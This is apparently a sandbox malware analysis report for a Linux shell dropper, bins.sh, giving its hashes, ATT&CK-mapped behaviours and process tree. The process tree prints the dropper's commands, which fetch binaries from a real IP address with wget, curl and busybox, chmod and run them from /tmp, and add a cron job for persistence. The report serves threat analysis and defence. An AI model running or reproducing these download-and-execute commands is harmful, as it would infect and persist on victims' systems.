956b4f4c2b994b61a3f395db42c7eb576bbf306dc75d2f7c97cc02d71b0f2f23

Analysis

max time kernel
6s
max time network
27s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-11-2024 16:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

534a73324bdffc21d98727b2f74568ce
SHA1

89685be31befce3ea973d79dacec145875bc5dbb
SHA256

956b4f4c2b994b61a3f395db42c7eb576bbf306dc75d2f7c97cc02d71b0f2f23
SHA512

7c07c3c58e7d98e393d7ba902a3e57df1a6d8c9b6e4b74f0c8d6ddb683032112bb4b9af3b0d445f83ef69cb76438d236bcc6fe107738c3e1e5fb2b95638b11c1
SSDEEP

192:kd9bUApimONfVQbfBVvKaIyOfmmEhDe5BVvKa6dmmEhAd9bUAdimONfVp:kd9bUADbfBVvKaIyOfmmEhDe5BVvKa6S

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
678	chmod
720	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	679	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq	721	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

Renames itself 1 IoCs

pid	Process
722	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.kafmMh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/13/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/22/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/592/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/731/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/7/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/11/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/152/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/259/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/303/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/20/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/26/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/75/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/729/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/14/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/106/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/571/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/661/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/21/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/42/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/586/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/8/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/16/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/43/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/149/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/4/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/6/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/41/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/97/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/305/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/331/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/591/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/634/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/19/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/141/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/256/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/262/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/635/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/706/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/3/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/5/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/138/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/265/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/2/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/104/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/260/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/17/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/730/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/732/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/10/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/15/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/24/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/27/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/12/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/25/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/629/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/641/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/18/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
File opened for reading	/proc/23/cmdline	wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	busybox
File opened for modification	/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq	wget
File opened for modification	/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq	curl
File opened for modification	/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq	busybox
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	wget
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:637
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:639
- /usr/bin/wget
  wget http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:642
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:666
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:671
- /bin/chmod
  chmod 777 C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  ./C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  PID:681
- /usr/bin/wget
  wget http://216.126.231.240/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - Writes file to tmp directory
  PID:683
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:696
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - Writes file to tmp directory
  PID:713
- /bin/chmod
  chmod 777 wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  ./wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:721
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:723
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:724
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:726
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:727
- /bin/rm
  rm wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  PID:730
- /usr/bin/wget
  wget http://216.126.231.240/bins/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
  2⤵
  PID:733

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.kafmMh

Filesize
210B

MD5
ddcac68041df4a69f5f38b913a8e8897

SHA1
30fea77e6914e7e8f6d98d9f6c6ddabe92d2dd79

SHA256
356d6be9e4c30f33aef356ea3c4ae0dfd5e9ffe8a65662653ce28248a8353cc4

SHA512
c727bece4eb8b5b67a6f625251b5245b3224dd5e06ad889248bf59f9d6d322e2d542841f44c9127b787975bded0f2d00d19b3bdaaff12fbec287b9f6b2247cb5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads